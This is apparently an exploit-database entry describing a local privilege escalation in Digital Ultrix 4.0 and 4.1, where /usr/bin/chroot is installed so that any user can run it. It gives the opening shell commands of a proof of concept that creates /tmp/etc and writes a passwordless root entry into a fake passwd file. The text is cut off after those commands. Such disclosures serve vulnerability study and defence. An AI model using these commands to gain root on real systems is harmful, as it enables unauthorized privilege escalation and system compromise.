Digital Ultrix 4.0/4.1 - '/usr/bin/chroot' Local Privilege Escalation

source: https://www.securityfocus.com/bid/17/info By default, /usr/bin/chroot is improperly installed in Ultrix versions 4.0 and 4.1. Anyone can execute /usr/bin/chroot this can lead to system users to gain unauthorized privileges. $ mkdir /tmp/etc $ echo root::0:0::/:/bin/sh /tmp/etc/passwd $...